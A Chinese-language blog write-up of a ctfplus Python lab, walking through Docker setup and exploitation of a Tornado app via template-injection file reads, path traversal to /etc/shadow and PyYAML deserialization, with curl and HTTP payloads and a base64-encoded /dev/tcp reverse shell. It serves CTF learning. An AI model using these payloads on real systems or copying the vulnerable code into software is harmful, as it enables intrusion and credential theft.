【ctfplus】python靶场记录-任意文件读取+tornado模板注入+yaml反序列化(新手向)

文章目录

法律与道德使用声明

本课程/笔记及相关技术内容仅限合法授权场景使用,严禁一切未授权的非法行为!

1. 适用场景限制

  • 本课程涉及的 网络安全知识、工具及攻击手法 仅允许在以下场景使用:
    • ✅ 授权渗透测试(需获得目标方书面授权)
    • ✅ CTF竞赛、攻防演练等合规赛事
    • ✅ 封闭实验环境(如本地靶场、虚拟机)
    • ✅ 学术研究、技术教学(需确保隔离环境)
  • 严禁 用于任何未经授权的真实系统、网络或设备。
    2. 法律与道德责任
  • 根据《中华人民共和国网络安全法》《刑法》等相关法律法规,未经授权的网络入侵、数据窃取、系统破坏等行为均属违法,可能面临刑事处罚及民事赔偿。
  • 使用者需对自身行为负全部责任,课程作者及发布平台不承担任何因滥用技术导致的连带责任。
    3. 工具与知识的正当用途
  • 防御视角:学习漏洞原理以提升系统防护能力。
  • 教育视角:理解攻击手法以培养安全意识与应急响应能力。
  • 禁止用途:包括但不限于:
    -❌ 入侵他人计算机系统
    -❌ 窃取、篡改、删除数据
    -❌ 传播恶意软件(木马、勒索病毒等)
    -❌ 发起DDoS攻击或网络诈骗
    4. 风险自担原则
  • 即使在合法授权场景下,操作不当仍可能导致系统崩溃、数据丢失等风险。使用者需自行评估并承担操作后果。
    5. 知识产权声明
  • 课程中涉及的第三方工具、代码、文档版权归原作者所有,引用时请遵循其许可协议(如GPL、MIT等)。
    6. 违法违规后果
  • 技术滥用将被依法追责,包括但不限于:
  • 行政拘留、罚款(《网络安全法》第27、63条)
  • 有期徒刑(《刑法》第285、286条非法侵入/破坏计算机系统罪)
  • 终身禁止从事网络安全相关职业

请务必遵守法律法规,技术向善,共同维护网络安全环境!
如发现安全漏洞,请通过合法渠道上报(如CNVD、厂商SRC)


靶场信息

靶场地址:https://www.ctfplus.cn/problem-detail/1865677096978747392/description

靶场搭建

安装docker以及更换源

本题没有在线实验环境,仅提供DockerFile以及部署文件(上图python.zip内),需自行docker搭建。下面以kali为例:

bash 复制代码
sudo apt install docker.io # 如未安装docker请先安装
sudo vi /etc/docker/daemon.json # 网上随便找的容器镜像加速源,如已无效请自行更换
======复制下列内容填入,注意不要复制等号所在行=======
{
     "registry-mirrors": [
         "https://docker.1ms.run"
     ]
}
===================================================
sudo systemctl daemon-reload && sudo systemctl restart docker # 更换镜像加速重载才会生效

docker build构建镜像

bash 复制代码
unzip python.zip
cd python
sudo docker build -t mypython .   # 注意这里有个点不要忘记,mypython名字是我随便起的
# 可能因时效性缘故容器镜像加速地址失效,可百度搜索自行更换

镜像构建完毕后可以用sudo docker images命令进行检查,出现类似下图信息则表示已经构建完成。

docker run创建容器并运行

先看下压缩包内的文件有个app.py,预计容器内启动web应用服务肯定会有个端口,查看web应用端口是多少避免和本机发生冲突,下面的源码内看到是8000。因为我8000端口有其他用处,所以用8001来映射,各位小伙伴可自行酌情调整。

bash 复制代码
if __name__ == "__main__":
    port = 8000
    app = make_app()
    app.listen(port, '0.0.0.0')
    print('[+]The server start at http://0.0.0.0:{}'.format(str(port)))
    tornado.ioloop.IOLoop.current().start()

创建容器并启动:sudo docker run -it -d -p 8001:8000 --name mypython mypython

进入容器:sudo docker exec -it mypython bash (后续要查看攻击结果)

一般情况下,创建并启动容器只要执行一次,如果遇到问题了用启动容器或者重启容器两条命令,所以下面两条命令是容器出问题的时候再使用的

启动容器:sudo docker start mypython

重启容器:sudo docker restart mypython
下面几条命令可用于清理善后或复用镜像

删除容器:sudo docker rm mypython

强制删除:sudo docker rm mypython -f # 运行中未停止可强制删除

删除镜像:sudo docker rmi mypython

导出镜像:sudo docker save -o xxx.tar mypython:latest

导入镜像:sudo docker load -i xxx.tar

运行容器后浏览器访问 本机网卡ip:8001并开始实验

关于实验中遇到容器出问题

如发现无法访问本机网卡ip:8001,请先检查容器的状态status是否已经退出,如下图Exited所示,说明容器已经下线,此时可使用启动容器或者重启容器两条命令中任一条;重启再次查看状态已经恢复成up了。注意不要多次重复使用docker run命令,否则会创建多个容器。

靶场研究

靶场文件结构较简单,具体如下:

bash 复制代码
┌──(kali㉿kali)-[~/Desktop/python]
└─$ tree                   
.
├── Dockerfile
├── home
│   └── ctf
│       ├── app.py
│       └── requirements.txt
└── service.sh

查看下靶场的requirements.txt文件可以看到两个依赖库

bash 复制代码
tornado==6.0.4
pyyaml == 3.10

tornado库

tornado是一个Python的Web框架和异步网络库,‌专为高性能、高并发场景设计,同时具有路由、模板、用户身份验证等功能。因为有模板写入功能,所以这个库和有同样功能的Flask以及Jinja2都很容易发生SSTI‌(Server-Side Template Injection,服务器端模板注入),攻击者利用模板引擎的漏洞,将恶意代码注入到服务器端模板中。

PyYAML库

YAML主要用于数据序列化和配置文件,它是一种轻量级的数据序列化格式。PyYAML作为Python处理YAML数据的一个常用库,这个库在5.1版本以前,很容易通过特定标签(如!!python/object)动态创建对象,这可能允许攻击者构造恶意数据来执行任意代码,造成反序列化攻击;而我们看到requirements.txt文件中的版本只有3.10。

代码分析以及攻击思路

python 复制代码
class Index(tornado.web.RequestHandler):
    def get(self):
        black_list = ['{{', '(', ')']
        username = self.get_argument('username', 'guest')
        if username == 'guest':
            return self.write('<h1>Hello {}</h1>'.format(username))
        for _black in black_list:
            if _black in username:
                return self.render_string("error.html")
        filename = "{}.html".format(random.randint(1000000, 10000000))
        with open(filename, 'w') as f:
            f.write("""<html>
                <head>
                <style>body{font-size: 30px;}</style>
                </head>
                <body>%s</body>
                </html>\n""" % username)
        self.render(filename)
        os.system('rm {}'.format(filename))


class FileRead(tornado.web.RequestHandler):
    def get(self):
        filename = self.get_argument('filename')
        if filename:
            with open(filename, 'r+') as f:
                file_text = f.read()
                return self.write(file_text)
        else:
            return self.write('<h1>not filename input</h1>')

class YamlLoad(tornado.web.RequestHandler):
    def post(self):
        yaml_content = self.get_argument('yaml')
        deser_content = yaml.load(yaml_content)
        return self.write(deser_content)


def make_app():
    return tornado.web.Application([
        (r"/", Index),
        (r"/read", FileRead),
        (r"/yaml",YamlLoad)
    ])


if __name__ == "__main__":
    port = 8000
    app = make_app()
    app.listen(port, '0.0.0.0')
    print('[+]The server start at http://0.0.0.0:{}'.format(str(port)))
    tornado.ioloop.IOLoop.current().start()

1. Index 路由(/)‌

‌作用‌ :生成动态 HTML 页面并返回给用户。
‌流程‌

  • 从请求参数中获取 username(默认为 guest
  • usernameguest,直接返回欢迎消息 Hello guest
  • username 包含黑名单字符,分别是双括号{``{、左小括号(,和右小括号),返回错误页面 error.html
  • 生成一个随机文件名(如 1234567.html),将 username 的内容写入该文件,生成包含用户名的 HTML 页面。渲染该 HTML 文件后,立即删除该文件。

攻击思路

  • 用户输入username参数,生成HTML文件,渲染后删除,虽然有黑名单过滤了{``{, (, ),但可能存在绕过黑名单的SSTI漏洞。

2. /read 路由(FileRead 类)‌

‌作用‌ :读取服务器本地文件并返回内容。
‌流程‌

  • 从请求参数中获取 filename
  • filename 存在,以读写模式(r+)打开文件并返回内容。
  • filename 不存在,返回错误消息 not filename input

攻击思路 :绕过黑名单触发 ‌SSTI(服务器端模板注入)

  • FileRead类中的with open(filename, 'r+') as ffilename是传参传入,未作任何校验也未限制路径,可能导致任意文件读取。

3. /yaml 路由(YamlLoad 类)‌

‌作用‌ :解析并返回 YAML 格式数据。
‌流程‌

  • POST 请求参数中获取 yaml 数据。
  • 使用 PyYAML 库的 yaml.load() 方法反序列化 YAML 内容。
  • 返回反序列化后的结果(如字典、列表等 Python 对象)。

攻击思路:低版本PyYAML 反序列化漏洞`

  • ‌恶意 YAML 构造

攻击过程

根路由------SSTI攻击尝试

  • 利用工具curl / hackbar类插件 / burp suite 均可
  • 因代码中过滤了双花括号,和小括号,尚有{% %}可以利用

漏洞原理

Tornado模板引擎允许使用 {% %} 执行控制语句。由于黑名单仅过滤 {``{(),未限制 {%,可通过文件包含语法读取敏感文件。

payload1:

bash 复制代码
curl http://192.168.126.146:8001/?username=%7B%25%20extends%20%22/etc/passwd%22%25%7D

# 使用-G表示GET请求,--data-urlencode自动编码参数
curl -G http://192.168.126.146:8001/ --data-urlencode "username={% extends '/etc/passwd'%}"

两条payload核心原理一样,区别在于我们先手工编码,或让curl自动对参数值进行URL编码

payload2:http://192.168.126.146:8001/?username={% include "/etc/shadow"%}

借用hackbar发送payload

因过滤了花括号和小括号,注入命令执行未能够成功,有大神能绕过的话麻烦告知下,感激不尽~~

/read 路由------文件读取漏洞利用

payload:http://192.168.126.146:8001/read?filename=../../etc/shadow

文件泄露利用价值说明

有黑盒测试经验的小伙伴可能会查询下面这种文件,我们查询到web服务启动命令是python3 /home/ctf/app.pyweb程序绝对路径暴露导致代码泄露,会进一步增加供给面。此外linux系统中还有多个敏感文件,可以利用靶场环境一一枚举进行学习。

burp suite使用时注意事项

burp suite 发送请求时,有时末尾需要有两个连续的\r\n(下图红线),否则会没有响应

发送前burp suite可以开启显示的show non-printable chars检查(下图红框处)

/yaml 路由------YAML反序列化攻击

payload1:

bash 复制代码
POST /yaml HTTP/1.1
Host: 192.168.126.146:8001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 131

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="yaml"

- !!python/object/new:logging.LogRecord
  listitems: !!str 'touch /tmp/success'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:os.system
------WebKitFormBoundary7MA4YWxkTrZu0gW--

我们先使用sudo docker exec -it mypython bash进入容器,然后使用watch -n 1 'ls /tmp'对容器内/tmp目录的文件进行跟踪,使用上面的payload发送后可以看到以及在/tmp目录下touchsuccess文件。

下面几个payload也可利用,各位小伙伴可自行尝试:

bash 复制代码
- !!python/object/new:os.system ["touch /tmp/success1"]
- !!python/object/new:os.popen ["touch /tmp/success3"]
- !!python/object/apply:os.system ["touch /tmp/success-1"]
- !!python/object/apply:os.popen ["touch /tmp/success-3"]

反弹shell

将上述payloadtouch /tmp/xxx替换成

bash 复制代码
# Base64解码后命令:/bin/bash -i >& /dev/tcp/攻击者IP/端口 0>&1
echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTI2LjE0Ni85OTk5IDA+JjE=' | base64 -d | bash

可以拿到容器的shell权限,可借助下面的反弹shell网站。

反弹shell网站https://revshells.com,用base64编码

仅利用curl发送YAML反序列化payload

假设场景不允许使用burp suite,我们只能用curl发送payload的话,我们可以用下面的方法:

方法1:将payload写入文本文件中,再用curl发送
bash 复制代码
curl -X POST 'http://192.168.126.146:8001/yaml' \
-F "[email protected];filename="
方法2:直接用curl发送payload
bash 复制代码
curl -X POST 'http://192.168.126.146:8001/yaml' \
-F 'yaml=payload: !!python/object/apply:os.popen ["touch /tmp/success999"];filename='
关于payload中的filename参数说明

上图中payload中不写filename参数,或者写了参数再赋值文件名都会Bad Request,只有留空值再可以顺利执行命令。

关于无靶机shell环境时的验证

可以开启nginx服务后让靶机访问web服务产生日志,apache2服务器或者dnslog.cn也都可以,如发生访问记录证明可以执行命令。

借助burp suite调试方法

实验过程中如遇到问题,curl可以通过本地代理让burp suite抓包调试

bash 复制代码
curl -X POST 'http://192.168.126.146:8001/yaml' \
--proxy 'http://127.0.0.1:8080' \
-F 'yaml=payload: !!python/object/apply:os.popen ["touch /tmp/success999"];filename='

相关网站以及参考资料

靶场主页:https://www.ctfplus.cn/

反弹shell网站:https://www.revshells.com/
coke说AI大模型大佬的:PyYaml反序列化漏洞详解
Werqy3大佬的:PYYAML反序列化详解

相关推荐
明月看潮生1 分钟前
青少年编程与数学 02-016 Python数据结构与算法 14课题、动态规划
python·算法·青少年编程·动态规划·编程与数学
明月看潮生2 分钟前
青少年编程与数学 02-016 Python数据结构与算法 11课题、分治
python·算法·青少年编程·编程与数学
杂学者8 分钟前
python办公自动化---pdf文件的读取、添加水印
python
小学生搞程序20 分钟前
学习Python的优势体现在哪些方面?
开发语言·python·学习
_玖-幽21 分钟前
Python 数据分析01 环境搭建教程
大数据·python·jupyter
databook25 分钟前
『Plotly实战指南』--面积图绘制与应用
python·数据分析·数据可视化
carpell36 分钟前
【双指针法】:这么常用的你怎么能不知道
python·链表·字符串·数组·双指针法
pound12741 分钟前
第五章.python函数
windows·python·microsoft
仙人掌_lz42 分钟前
企业年报问答RAG挑战赛冠军方案:从零到SotA,一战封神
python·gpt·ai·llm·rag·问答·年报
Code_流苏1 小时前
《Python星球日记》第27天:Seaborn 可视化
python·数据可视化·python入门·seaborn·统计图表